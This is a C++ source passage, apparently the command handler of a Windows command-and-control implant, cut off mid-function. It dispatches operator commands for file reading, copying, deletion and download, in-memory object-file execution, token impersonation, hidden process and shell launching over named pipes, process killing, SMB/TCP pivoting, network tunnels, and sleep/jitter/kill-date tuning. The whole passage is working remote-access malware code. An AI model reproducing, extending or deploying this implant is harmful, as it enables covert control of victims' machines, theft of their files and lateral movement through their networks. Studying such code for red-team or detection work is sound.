#include "Commander.h" #include "bof_loader.h" #include "Boffer.h" extern HANDLE g_StoredToken; void* Commander::operator new(size_t sz) { void* p = MemAllocLocal(sz); return p; } void Commander::operator delete(void* p) noexcept { MemFreeLocal(&p, sizeof(Commander)); } Commander::Commander(Agent* a) { this->agent = a; } void Commander::ProcessCommandTasks(BYTE* recv, ULONG recvSize, Packer* outPacker) { if (recvSize < 8) return; Packer* inPacker = new Packer(recv, recvSize); ULONG packerSize = inPacker->Unpack32(); if (packerSize > recvSize - 4) { delete inPacker; return; } while ( inPacker->datasize() < packerSize + 4 ) { ULONG CommandId = inPacker->Unpack32(); switch ( CommandId ) { case COMMAND_CAT: this->CmdCat(CommandId, inPacker, outPacker); break; case COMMAND_CD: this->CmdCd(CommandId, inPacker, outPacker); break; case COMMAND_CP: this->CmdCp(CommandId, inPacker, outPacker); break; case COMMAND_DISKS: this->CmdDisks(CommandId, inPacker, outPacker); break; case COMMAND_DOWNLOAD: this->CmdDownload(CommandId, inPacker, outPacker); break; case COMMAND_DOWNLOAD_STATE: this->CmdDownloadState(CommandId, inPacker, outPacker); break; case COMMAND_EXEC_BOF: this->CmdExecBof(CommandId, inPacker, outPacker); break; case COMMAND_GETUID: this->CmdGetUid(CommandId, inPacker, outPacker); break; case COMMAND_JOBS_LIST: this->CmdJobsList(CommandId, inPacker, outPacker); break; case COMMAND_JOBS_KILL: this->CmdJobsKill(CommandId, inPacker, outPacker); break; case COMMAND_LINK: this->CmdLink(CommandId, inPacker, outPacker); break; case COMMAND_LS: this->CmdLs(CommandId, inPacker, outPacker); break; case COMMAND_MV: this->CmdMv(CommandId, inPacker, outPacker); break; case COMMAND_MKDIR: this->CmdMkdir(CommandId, inPacker, outPacker); break; case COMMAND_PIVOT_EXEC: this->CmdPivotExec(CommandId, inPacker, outPacker); break; case COMMAND_PROFILE: this->CmdProfile(CommandId, inPacker, outPacker); break; case COMMAND_PS_LIST: this->CmdPsList(CommandId, inPacker, outPacker); break; case COMMAND_PS_KILL: this->CmdPsKill(CommandId, inPacker, outPacker); break; case COMMAND_PS_RUN: this->CmdPsRun(CommandId, inPacker, outPacker); break; case COMMAND_PWD: this->CmdPwd(CommandId, inPacker, outPacker); break; case COMMAND_REV2SELF: this->CmdRev2Self(CommandId, inPacker, outPacker); break; case COMMAND_RM: this->CmdRm(CommandId, inPacker, outPacker); break; case COMMAND_SHELL_START: this->CmdShellStart(CommandId, inPacker, outPacker); break; case COMMAND_SHELL_WRITE: this->CmdShellWrite(CommandId, inPacker, outPacker); break; case COMMAND_TERMINATE: this->CmdTerminate(CommandId, inPacker, outPacker); break; case COMMAND_TUNNEL_START_TCP: this->CmdTunnelMsgConnectTCP(CommandId, inPacker, outPacker); break; case COMMAND_TUNNEL_START_UDP: this->CmdTunnelMsgConnectUDP(CommandId, inPacker, outPacker); break; case COMMAND_TUNNEL_WRITE_TCP: this->CmdTunnelMsgWriteTCP(CommandId, inPacker, outPacker); break; case COMMAND_TUNNEL_WRITE_UDP: this->CmdTunnelMsgWriteUDP(CommandId, inPacker, outPacker); break; case COMMAND_TUNNEL_PAUSE: this->CmdTunnelMsgPause(CommandId, inPacker, outPacker); break; case COMMAND_TUNNEL_RESUME: this->CmdTunnelMsgResume(CommandId, inPacker, outPacker); break; case COMMAND_TUNNEL_CLOSE: this->CmdTunnelMsgClose(CommandId, inPacker, outPacker); break; case COMMAND_TUNNEL_REVERSE: this->CmdTunnelMsgReverse(CommandId, inPacker, outPacker); break; case COMMAND_UNLINK: this->CmdUnlink(CommandId, inPacker, outPacker); break; case COMMAND_UPLOAD: this->CmdUpload(CommandId, inPacker, outPacker); break; case COMMAND_SAVEMEMORY: this->CmdSaveMemory(CommandId, inPacker, outPacker); break; default: break; } } if (inPacker) delete inPacker; } void Commander::CmdCat(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG pathSize = 0; CHAR* path = (CHAR*)inPacker->UnpackBytes(&pathSize); ULONG taskId = inPacker->Unpack32(); outPacker->Pack32(taskId); HANDLE hFile = ApiWin->CreateFileA(path, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0); if ( !hFile || hFile == INVALID_HANDLE_VALUE ) { outPacker->Pack32(COMMAND_ERROR); outPacker->Pack32(TEB->LastErrorValue); return; } DWORD contentSize = 2048; DWORD readed = 0; PVOID content = MemAllocLocal(contentSize); BOOL result = ApiWin->ReadFile(hFile, content, contentSize, &readed, NULL); if (result) { outPacker->Pack32(commandId); outPacker->PackBytes((PBYTE)path, pathSize); outPacker->PackBytes((PBYTE)content, readed); } else { outPacker->Pack32(COMMAND_ERROR); outPacker->Pack32(TEB->LastErrorValue); } if (hFile) { ApiNt->NtClose(hFile); hFile = NULL; } if (content) MemFreeLocal(&content, contentSize); } void Commander::CmdCd(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG pathSize = 0; CHAR* path = (CHAR*) inPacker->UnpackBytes(&pathSize); ULONG taskId = inPacker->Unpack32(); outPacker->Pack32(taskId); BOOL result = ApiWin->SetCurrentDirectoryA(path); if (result) { CHAR currentPath[MAX_PATH] = { 0 }; ULONG currentPathSize = ApiWin->GetCurrentDirectoryA(MAX_PATH, currentPath); outPacker->Pack32(commandId); outPacker->PackBytes((PBYTE)currentPath, currentPathSize); } else { outPacker->Pack32(COMMAND_ERROR); outPacker->Pack32(TEB->LastErrorValue); } } void Commander::CmdCp(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG srcSize = 0; CHAR* src = (CHAR*) inPacker->UnpackBytes(&srcSize); ULONG dstSize = 0; CHAR* dst = (CHAR*) inPacker->UnpackBytes(&dstSize); ULONG taskId = inPacker->Unpack32(); outPacker->Pack32(taskId); BOOL result = ApiWin->CopyFileA(src, dst, FALSE); if (result) { outPacker->Pack32(commandId); } else { outPacker->Pack32(COMMAND_ERROR); outPacker->Pack32(TEB->LastErrorValue); } } void Commander::CmdDisks(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG taskId = inPacker->Unpack32(); outPacker->Pack32(taskId); outPacker->Pack32(commandId); ULONG drives = ApiWin->GetLogicalDrives(); if (drives == 0) { outPacker->Pack8(FALSE); outPacker->Pack32(TEB->LastErrorValue); } else { outPacker->Pack8(TRUE); ULONG count = 0; ULONG indexCount = outPacker->datasize(); outPacker->Pack32(0); for (char drive = 'A'; drive <= 'Z'; ++drive) { if (drives & (1 << (drive - 'A'))) { char drivePath[] = { drive, ':', '\\', '\0' }; ULONG driveType = ApiWin->GetDriveTypeA(drivePath); outPacker->Pack8(drive); outPacker->Pack32(driveType); count++; } } outPacker->Set32(indexCount, count); } } void Commander::CmdDownload(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG filenameSize = 0; CHAR* filename = (CHAR*) inPacker->UnpackBytes(&filenameSize); ULONG taskId = inPacker->Unpack32(); outPacker->Pack32(taskId); HANDLE hFile = ApiWin->CreateFileA(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL); if (!hFile || hFile == INVALID_HANDLE_VALUE) { outPacker->Pack32(COMMAND_ERROR); outPacker->Pack32(TEB->LastErrorValue); } else { CHAR fullPath[MAX_PATH]; DWORD pathSize = ApiWin->GetFullPathNameA( filename, MAX_PATH, fullPath, NULL); DWORD fileSizeHigh = 0; DWORD fileSizeLow = ApiWin->GetFileSize( hFile, &fileSizeHigh ); ULONG64 fileSize = ((ULONG64)fileSizeHigh << 32) | fileSizeLow; if (pathSize > 0) { DownloadData downloadData = this->agent->downloader->CreateDownloadData(taskId, hFile, fileSize); outPacker->Pack32(COMMAND_DOWNLOAD); outPacker->Pack32(downloadData.fileId); outPacker->Pack8(DOWNLOAD_START); outPacker->Pack64(downloadData.fileSize); outPacker->PackBytes((PBYTE)fullPath, pathSize); } else { outPacker->Pack32(COMMAND_ERROR); outPacker->Pack32(TEB->LastErrorValue); } } } void Commander::CmdDownloadState(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG newState = inPacker->Unpack32(); ULONG fileId = inPacker->Unpack32(); ULONG taskId = inPacker->Unpack32(); BOOL found = false; for (int i = 0; i < this->agent->downloader->downloads.size(); i++) { if (this->agent->downloader->downloads[i].fileId == fileId) { this->agent->downloader->downloads[i].state = newState; found = true; break; } } outPacker->Pack32(taskId); if (found) { outPacker->Pack32(COMMAND_DOWNLOAD_STATE); outPacker->Pack32(fileId); outPacker->Pack8((BYTE)newState); } else { outPacker->Pack32(COMMAND_ERROR); outPacker->Pack32(2); } } void Commander::CmdExecBof(ULONG commandId, Packer* inPacker, Packer* outPacker) { BOOL async = inPacker->Unpack8(); ULONG entrySize = 0; BYTE* entry = inPacker->UnpackBytes(&entrySize); ULONG bofSize = 0; BYTE* bof = inPacker->UnpackBytes(&bofSize); ULONG argsSize = 0; BYTE* args = inPacker->UnpackBytes(&argsSize); ULONG taskId = inPacker->Unpack32(); if (!g_AsyncBofManager) { outPacker->Pack32(taskId); outPacker->Pack32(COMMAND_ERROR); outPacker->Pack32(ERROR_NOT_SUPPORTED); return; } if (async) { AsyncBofContext* ctx = g_AsyncBofManager->CreateAsyncBof(taskId, (CHAR*)entry, bof, bofSize, args, argsSize); if (!ctx) { outPacker->Pack32(COMMAND_ERROR); outPacker->Pack32(ERROR_NOT_ENOUGH_MEMORY); return; } if (!g_AsyncBofManager->StartAsyncBof(ctx)) { outPacker->Pack32(COMMAND_ERROR); outPacker->Pack32(TEB->LastErrorValue); return; } } else { Packer* bofPacker = ObjectExecute(taskId, (CHAR*)entry, bof, bofSize, args, argsSize); if (bofPacker && bofPacker->datasize() > 0) outPacker->PackFlatBytes(bofPacker->data(), bofPacker->datasize()); outPacker->Pack32(taskId); outPacker->Pack32(commandId); outPacker->Pack8(FALSE); if (bofPacker) bofPacker->Clear(TRUE); } } void Commander::CmdGetUid(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG taskId = inPacker->Unpack32(); outPacker->Pack32(taskId); BOOL result = FALSE; BOOL elevated = FALSE; CHAR* username = (CHAR*) MemAllocLocal(512); ULONG usernameSize = 512; CHAR* domain = (CHAR*) MemAllocLocal(512); ULONG domainSize = 512; HANDLE TokenHandle = TokenCurrentHandle(); if (TokenHandle) result = TokenToUser(TokenHandle, username, &usernameSize, domain, &domainSize, &elevated); if (result) { outPacker->Pack32(commandId); outPacker->Pack8(elevated); outPacker->PackStringA(domain); outPacker->PackStringA(username); } else { outPacker->Pack32(COMMAND_ERROR); outPacker->Pack32(TEB->LastErrorValue); } if (TokenHandle) ApiNt->NtClose(TokenHandle); MemFreeLocal( (LPVOID*)&username, 512); MemFreeLocal( (LPVOID*)&domain, 512); } void Commander::CmdJobsList(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG taskId = inPacker->Unpack32(); outPacker->Pack32(taskId); outPacker->Pack32(commandId); ULONG count = agent->jober->jobs.size(); ULONG asyncBofCount = 0; if (g_AsyncBofManager) ApiWin->EnterCriticalSection(&g_AsyncBofManager->managerLock); if (g_AsyncBofManager) asyncBofCount = g_AsyncBofManager->asyncBofs.size(); outPacker->Pack32(count + asyncBofCount); for (int i = 0; i < count; i++) { ULONG jobId = agent->jober->jobs[i].jobId; WORD jobType = agent->jober->jobs[i].jobType; WORD pid = agent->jober->jobs[i].pidObject; outPacker->Pack32(jobId); outPacker->Pack16(jobType); outPacker->Pack16(pid); } if (g_AsyncBofManager) { for (size_t i = 0; i < asyncBofCount; i++) { AsyncBofContext* ctx = g_AsyncBofManager->asyncBofs[i]; outPacker->Pack32(ctx->taskId); outPacker->Pack16(JOB_TYPE_ASYNCBOF); outPacker->Pack16(0); } ApiWin->LeaveCriticalSection(&g_AsyncBofManager->managerLock); } } void Commander::CmdJobsKill(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG jobId = inPacker->Unpack32(); ULONG taskId = inPacker->Unpack32(); outPacker->Pack32(taskId); outPacker->Pack32(commandId); BOOL found = FALSE; ULONG count = agent->jober->jobs.size(); for (int i = 0; i < count; i++) { if (jobId == agent->jober->jobs[i].jobId) { agent->jober->jobs[i].jobState = JOB_STATE_KILLED; found = TRUE; break; } } if (!found && g_AsyncBofManager) found = g_AsyncBofManager->StopAsyncBof(jobId); outPacker->Pack8(found); outPacker->Pack32(jobId); } void Commander::CmdLink(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG pivotType = inPacker->Unpack32(); if (pivotType == PIVOT_TYPE_SMB) { ULONG pipeSize = 0; CHAR* pipe = (CHAR*)inPacker->UnpackBytes(&pipeSize); ULONG taskId = inPacker->Unpack32(); this->agent->pivotter->LinkPivotSMB(taskId, commandId, pipe, outPacker); } else if (pivotType == PIVOT_TYPE_TCP) { ULONG addrSize = 0; CHAR* addr = (CHAR*)inPacker->UnpackBytes(&addrSize); WORD port = inPacker->Unpack32(); ULONG taskId = inPacker->Unpack32(); this->agent->pivotter->LinkPivotTCP(taskId, commandId, addr, port, outPacker); } } void Commander::CmdLs(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG pathSize = 0; CHAR* path = (CHAR*)inPacker->UnpackBytes(&pathSize); ULONG taskId = inPacker->Unpack32(); outPacker->Pack32(taskId); outPacker->Pack32(commandId); CHAR fullpath[MAX_PATH]; DWORD fullpathSize = MAX_PATH; if (pathSize == 3 && path[1] == ':') { fullpath[0] = path[0]; fullpath[1] = path[1]; fullpathSize = 2; } else { fullpathSize = ApiWin->GetFullPathNameA(path, MAX_PATH, fullpath, NULL); if (fullpathSize + 2 > MAX_PATH || fullpathSize == 0) { outPacker->Pack8(FALSE); outPacker->Pack32(TEB->LastErrorValue); return; } } DWORD fileAttribs = ApiWin->GetFileAttributesA(fullpath); BOOL isFile = (fileAttribs != INVALID_FILE_ATTRIBUTES) && !(fileAttribs & FILE_ATTRIBUTE_DIRECTORY); if (!isFile) { fullpath[fullpathSize] = '\\'; fullpath[++fullpathSize] = '*'; fullpath[++fullpathSize] = 0; } WIN32_FIND_DATAA findData = { 0 }; HANDLE File = ApiWin->FindFirstFileA(fullpath, &findData); if ( File != INVALID_HANDLE_VALUE ) { outPacker->Pack8(TRUE); outPacker->PackStringA(fullpath); ULONG count = 0; ULONG indexCount = outPacker->datasize(); outPacker->Pack32(0); do { BOOL isDir = (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == FILE_ATTRIBUTE_DIRECTORY; if( isDir && StrLenA(findData.cFileName) == 1 && findData.cFileName[0] == 0x2e ) continue; if (isDir && StrLenA(findData.cFileName) == 2 && findData.cFileName[0] == 0x2e && findData.cFileName[1] == 0x2e) continue; ULONG64 size = 0; ((ULONG*)&size)[1] = findData.nFileSizeHigh; ((ULONG*)&size)[0] = findData.nFileSizeLow; ULONG writeDate = FileTimeToUnixTimestamp(findData.ftLastWriteTime); outPacker->Pack8(isDir); outPacker->Pack64(size); outPacker->Pack32(writeDate); outPacker->PackStringA(findData.cFileName); count++; } while (!isFile && ApiWin->FindNextFileA(File, &findData)); ApiWin->FindClose(File); outPacker->Set32(indexCount, count); } else { outPacker->Pack8(FALSE); outPacker->Pack32(TEB->LastErrorValue); } } void Commander::CmdMkdir(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG pathSize = 0; CHAR* path = (CHAR*)inPacker->UnpackBytes(&pathSize); ULONG taskId = inPacker->Unpack32(); outPacker->Pack32(taskId); BOOL result = ApiWin->CreateDirectoryA(path, NULL); if (result) { outPacker->Pack32(commandId); outPacker->PackBytes((PBYTE)path, pathSize); } else { outPacker->Pack32(COMMAND_ERROR); outPacker->Pack32(TEB->LastErrorValue); } } void Commander::CmdMv(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG srcSize = 0; CHAR* src = (CHAR*)inPacker->UnpackBytes(&srcSize); ULONG dstSize = 0; CHAR* dst = (CHAR*)inPacker->UnpackBytes(&dstSize); ULONG taskId = inPacker->Unpack32(); outPacker->Pack32(taskId); BOOL result = ApiWin->MoveFileA(src, dst); if (result) { outPacker->Pack32(commandId); } else { outPacker->Pack32(COMMAND_ERROR); outPacker->Pack32(TEB->LastErrorValue); } } void Commander::CmdPivotExec(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG pivotId = inPacker->Unpack32(); ULONG dataSize = 0; BYTE* data = inPacker->UnpackBytes(&dataSize); ULONG taskId = inPacker->Unpack32(); this->agent->pivotter->WritePivot(pivotId, data, dataSize); } void Commander::CmdProfile(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG subcommand = inPacker->Unpack32(); if (subcommand == 1) { // sleep time ULONG sleep = inPacker->Unpack32(); ULONG jitter = inPacker->Unpack32(); ULONG taskId = inPacker->Unpack32(); agent->config->sleep_delay = sleep; agent->config->jitter_delay = jitter; outPacker->Pack32(taskId); outPacker->Pack32(COMMAND_PROFILE); outPacker->Pack32(subcommand); outPacker->Pack32(agent->config->sleep_delay); outPacker->Pack32(agent->config->jitter_delay); } else if (subcommand == 2) { // download chunks size ULONG size = inPacker->Unpack32(); ULONG taskId = inPacker->Unpack32(); agent->downloader->chunkSize = size; outPacker->Pack32(taskId); outPacker->Pack32(COMMAND_PROFILE); outPacker->Pack32(subcommand); outPacker->Pack32(agent->downloader->chunkSize); } else if (subcommand == 3) { // killdate ULONG kill_date = inPacker->Unpack32(); ULONG taskId = inPacker->Unpack32(); agent->config->kill_date = kill_date; outPacker->Pack32(taskId); outPacker->Pack32(COMMAND_PROFILE); outPacker->Pack32(subcommand); outPacker->Pack32(agent->config->kill_date); } else if (subcommand == 4) { // workingsize ULONG workingtime = inPacker->Unpack32(); ULONG taskId = inPacker->Unpack32(); agent->config->working_time = workingtime; outPacker->Pack32(taskId); outPacker->Pack32(COMMAND_PROFILE); outPacker->Pack32(subcommand); outPacker->Pack32(agent->config->working_time); } #if defined(BEACON_DNS) else if (subcommand == 5) { // burst set ULONG burstEnabled = inPacker->Unpack32(); ULONG burstSleep = inPacker->Unpack32(); ULONG burstJitter = inPacker->Unpack32(); ULONG taskId = inPacker->Unpack32(); agent->config->profile.burst_enabled = burstEnabled; agent->config->profile.burst_sleep = burstSleep; agent->config->profile.burst_jitter = burstJitter; outPacker->Pack32(taskId); outPacker->Pack32(COMMAND_PROFILE); outPacker->Pack32(subcommand); outPacker->Pack32(agent->config->profile.burst_enabled); outPacker->Pack32(agent->config->profile.burst_sleep); outPacker->Pack32(agent->config->profile.burst_jitter); } else if (subcommand == 6) { // burst show ULONG taskId = inPacker->Unpack32(); outPacker->Pack32(taskId); outPacker->Pack32(COMMAND_PROFILE); outPacker->Pack32(subcommand); outPacker->Pack32(agent->config->profile.burst_enabled); outPacker->Pack32(agent->config->profile.burst_sleep); outPacker->Pack32(agent->config->profile.burst_jitter); } #endif } void Commander::CmdPsList(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG taskId = inPacker->Unpack32(); outPacker->Pack32(taskId); outPacker->Pack32(commandId); PSYSTEM_PROCESS_INFORMATION spi = NULL, spiAddr = NULL; ULONG spiSize = 0; NTSTATUS NtStatus = ApiNt->NtQuerySystemInformation(SystemProcessInformation, NULL, 0, &spiSize); if (!NT_SUCCESS(NtStatus)) { spiSize += 0x1000; spi = (PSYSTEM_PROCESS_INFORMATION) MemAllocLocal(spiSize); if (spi) NtStatus = ApiNt->NtQuerySystemInformation(SystemProcessInformation, spi, spiSize, &spiSize); } spiAddr = spi; if (NT_SUCCESS(NtStatus)) { outPacker->Pack8(TRUE); ULONG count = 0; ULONG indexCount = outPacker->datasize(); outPacker->Pack32(0); DWORD accessMask = 0; if (agent->info->major_version == 5 && agent->info->minor_version == 1) accessMask = PROCESS_QUERY_INFORMATION; else accessMask = PROCESS_QUERY_LIMITED_INFORMATION; do { BOOL elevated = FALSE; BYTE arch64 = 10; CHAR processName[260] = { 0 }; ULONG usernameSize = MAX_PATH; CHAR username[MAX_PATH] = { 0 }; ULONG domainSize = MAX_PATH; CHAR domain[MAX_PATH] = { 0 }; OBJECT_ATTRIBUTES ObjectAttr = { sizeof(OBJECT_ATTRIBUTES) }; InitializeObjectAttributes(&ObjectAttr, NULL, 0, NULL, NULL); BOOL result = FALSE; HANDLE hToken = NULL; HANDLE hProcess = NULL; CLIENT_ID clientId = { spi->UniqueProcessId, 0 }; NtStatus = ApiNt->NtOpenProcess(&hProcess, accessMask, &ObjectAttr, &clientId); if (NT_SUCCESS(NtStatus)) { ULONG_PTR piWow64 = NULL; NtStatus = ApiNt->NtQueryInformationProcess(hProcess, ProcessWow64Information, &piWow64, sizeof(ULONG_PTR), NULL); if (NT_SUCCESS(NtStatus)) arch64 = (piWow64 == 0); NtStatus = ApiNt->NtOpenProcessToken(hProcess, TOKEN_QUERY, &hToken); if (NT_SUCCESS(NtStatus)) result = TokenToUser(hToken, username, &usernameSize, domain, &domainSize, &elevated); } if (spi->ImageName.Buffer) { ConvertUnicodeStringToChar(spi->ImageName.Buffer, spi->ImageName.Length, processName, sizeof(processName)); outPacker->Pack16((WORD)(ULONG_PTR)spi->UniqueProcessId); outPacker->Pack16((WORD)(ULONG_PTR)spi->InheritedFromUniqueProcessId); outPacker->Pack16((WORD)spi->SessionId); outPacker->Pack8(arch64); outPacker->Pack8(elevated); outPacker->PackStringA(domain); outPacker->PackStringA(username); outPacker->PackStringA(processName); count++; memset(processName, 0, spi->ImageName.Length / 2); memset(username, 0, usernameSize); memset(domain, 0, domainSize); } if (hProcess) { ApiNt->NtClose(hProcess); hProcess = NULL; } if (hToken) { ApiNt->NtClose(hToken); hToken = NULL; } if (!spi->NextEntryOffset) break; spi = (SYSTEM_PROCESS_INFORMATION*)((BYTE*)spi + spi->NextEntryOffset); } while (TRUE); if (spiAddr) MemFreeLocal((LPVOID*)&spiAddr, spiSize); outPacker->Set32(indexCount, count); } else { outPacker->Pack8(TRUE); outPacker->Pack32(87); } } void Commander::CmdRev2Self(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG taskId = inPacker->Unpack32(); outPacker->Pack32(taskId); outPacker->Pack32(commandId); ApiWin->RevertToSelf(); } void Commander::CmdPsKill(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG64 pid = inPacker->Unpack32(); ULONG taskId = inPacker->Unpack32(); outPacker->Pack32(taskId); OBJECT_ATTRIBUTES ObjectAttr = { sizeof(OBJECT_ATTRIBUTES) }; InitializeObjectAttributes(&ObjectAttr, NULL, 0, NULL, NULL); CLIENT_ID clientID = { (HANDLE)pid, 0 }; HANDLE hProcess = NULL; NTSTATUS status = ApiNt->NtOpenProcess(&hProcess, PROCESS_TERMINATE, &ObjectAttr, &clientID); if ( NT_SUCCESS(status) ) { outPacker->Pack32(commandId); ApiNt->NtTerminateProcess(hProcess, 0); outPacker->Pack32(pid); } else { ULONG error = ApiNt->RtlNtStatusToDosError(status); outPacker->Pack32(COMMAND_ERROR); outPacker->Pack32(error); } if (hProcess) { ApiNt->NtClose(hProcess); hProcess = NULL; } } void Commander::CmdPsRun(ULONG commandId, Packer* inPacker, Packer* outPacker) { BOOL progOutput = inPacker->Unpack8(); BOOL useToken = inPacker->Unpack8(); BOOL progState = inPacker->Unpack32(); ULONG progArgsSize = 0; CHAR* progArgs = (CHAR*)inPacker->UnpackBytes(&progArgsSize); ULONG taskId = inPacker->Unpack32(); PROCESS_INFORMATION pi = { 0 }; STARTUPINFOA spi = { 0 }; spi.cb = sizeof(STARTUPINFOA); spi.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; spi.wShowWindow = SW_HIDE; HANDLE pipeRead = NULL; HANDLE pipeWrite = NULL; if (progOutput) { SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; ApiWin->CreatePipe(&pipeRead, &pipeWrite, &sa, 0); spi.hStdError = pipeWrite; spi.hStdOutput = pipeWrite; spi.hStdInput = NULL; } BOOL result = FALSE; if (useToken && g_StoredToken) { result = ApiWin->CreateProcessAsUserA(g_StoredToken, NULL, progArgs, NULL, NULL, TRUE, progState | CREATE_NO_WINDOW, NULL, NULL, &spi, &pi); if (!result && ApiWin->CreateProcessWithTokenW) { STARTUPINFOW spiW = { 0 }; spiW.cb = sizeof(STARTUPINFOW); spiW.dwFlags = spi.dwFlags; spiW.wShowWindow = spi.wShowWindow; spiW.hStdError = spi.hStdError; spiW.hStdOutput = spi.hStdOutput; spiW.hStdInput = spi.hStdInput; int wLen = ApiWin->MultiByteToWideChar(CP_ACP, 0, progArgs, -1, NULL, 0); if (wLen > 0) { WCHAR* wArgs = (WCHAR*)MemAllocLocal(wLen * sizeof(WCHAR)); if (wArgs) { ApiWin->MultiByteToWideChar(CP_ACP, 0, progArgs, -1, wArgs, wLen); result = ApiWin->CreateProcessWithTokenW(g_StoredToken, LOGON_WITH_PROFILE, NULL, wArgs, progState | CREATE_NO_WINDOW, NULL, NULL, &spiW, &pi); MemFreeLocal((LPVOID*)&wArgs, wLen * sizeof(WCHAR)); } } } } else result = ApiWin->CreateProcessA(NULL, progArgs, NULL, NULL, TRUE, progState | CREATE_NO_WINDOW, NULL, NULL, &spi, &pi); if (result) { JobData job = agent->jober->CreateJobData(taskId, JOB_TYPE_PROCESS, JOB_STATE_RUNNING, pi.hProcess, pi.dwProcessId, pipeRead, pipeWrite); outPacker->Pack32(taskId); outPacker->Pack32(commandId); outPacker->Pack32(job.pidObject); outPacker->Pack8(progOutput); outPacker->PackBytes((PBYTE)progArgs, progArgsSize); ApiNt->NtClose(pi.hThread); pi.hThread = NULL; if (!progOutput) { ApiNt->NtClose(pi.hProcess); pi.hProcess = NULL; } } else { if (pipeRead) { ApiNt->NtClose(pipeRead); pipeRead = NULL; } if (pipeWrite) { ApiNt->NtClose(pipeWrite); pipeWrite = NULL; } outPacker->Pack32(taskId); outPacker->Pack32(COMMAND_ERROR); outPacker->Pack32(TEB->LastErrorValue); } } void Commander::CmdPwd(ULONG commandId, Packer* inPacker, Packer* outPacker) { CHAR path[MAX_PATH] = { 0 }; ULONG pathSize = ApiWin->GetCurrentDirectoryA(MAX_PATH, path); ULONG taskId = inPacker->Unpack32(); outPacker->Pack32(taskId); if (pathSize) { outPacker->Pack32(commandId); outPacker->PackBytes((PBYTE)path, pathSize); } else { outPacker->Pack32(COMMAND_ERROR); outPacker->Pack32(TEB->LastErrorValue); } } void Commander::CmdRm(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG pathSize = 0; CHAR* path = (CHAR*)inPacker->UnpackBytes(&pathSize); ULONG taskId = inPacker->Unpack32(); outPacker->Pack32(taskId); DWORD dwAttrib = ApiWin->GetFileAttributesA(path); BOOL result = FALSE; BOOL directory = (dwAttrib != INVALID_FILE_ATTRIBUTES && (dwAttrib & FILE_ATTRIBUTE_DIRECTORY)); if ( directory ) result = ApiWin->RemoveDirectoryA(path); else result = ApiWin->DeleteFileA(path); if (result) { outPacker->Pack32(commandId); outPacker->Pack8(directory); } else { outPacker->Pack32(COMMAND_ERROR); outPacker->Pack32(TEB->LastErrorValue); } } void Commander::CmdShellStart(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG shellId = inPacker->Unpack32(); ULONG progArgsSize = 0; CHAR* progArgs = (CHAR*)inPacker->UnpackBytes(&progArgsSize); ULONG taskId = inPacker->Unpack32(); PROCESS_INFORMATION pi = { 0 }; STARTUPINFOA spi = { 0 }; spi.cb = sizeof(STARTUPINFOA); spi.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; spi.wShowWindow = SW_HIDE; SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; ULONG r1 = GenerateRandom32(); CHAR* pipeName = (CHAR*) MemAllocLocal(18); ApiWin->snprintf(pipeName, 18, "\\\\.\\pipe\\%08lx", r1); HANDLE beaconOutPipe = ApiWin->CreateNamedPipeA(pipeName, PIPE_ACCESS_INBOUND | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, 1, 0x4000, 0x4000, 0, &sa); HANDLE shellOutPipe = ApiWin->CreateFileA(pipeName, FILE_WRITE_DATA | SYNCHRONIZE, 0, &sa, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL); r1 = GenerateRandom32(); ApiWin->snprintf(pipeName, 18, "\\\\.\\pipe\\%08lx", r1); HANDLE beaconInPipe = ApiWin->CreateNamedPipeA(pipeName, PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, 1, 0x4000, 0x4000, 0, &sa); HANDLE shellInPipe = ApiWin->CreateFileA(pipeName, FILE_READ_DATA | SYNCHRONIZE, 0, &sa, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL); MemFreeLocal((LPVOID*) &pipeName, 18); spi.hStdInput = shellInPipe; spi.hStdOutput = shellOutPipe; spi.hStdError = shellOutPipe; BOOL result = ApiWin->CreateProcessA(NULL, progArgs, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &spi, &pi); ApiNt->NtClose(shellOutPipe); ApiNt->NtClose(shellInPipe); if (result) { JobData job = agent->jober->CreateJobData(shellId, JOB_TYPE_SHELL, JOB_STATE_RUNNING, pi.hProcess, pi.dwProcessId, beaconOutPipe, beaconInPipe); outPacker->Pack32(shellId); outPacker->Pack32(COMMAND_JOB); outPacker->Pack8(JOB_TYPE_SHELL); outPacker->Pack8(JOB_STATE_STARTING); } else { if (beaconOutPipe) { ApiNt->NtClose(beaconOutPipe); beaconOutPipe = NULL; } if (beaconInPipe) { ApiNt->NtClose(beaconInPipe); beaconInPipe = NULL; } outPacker->Pack32(shellId); outPacker->Pack32(COMMAND_JOB); 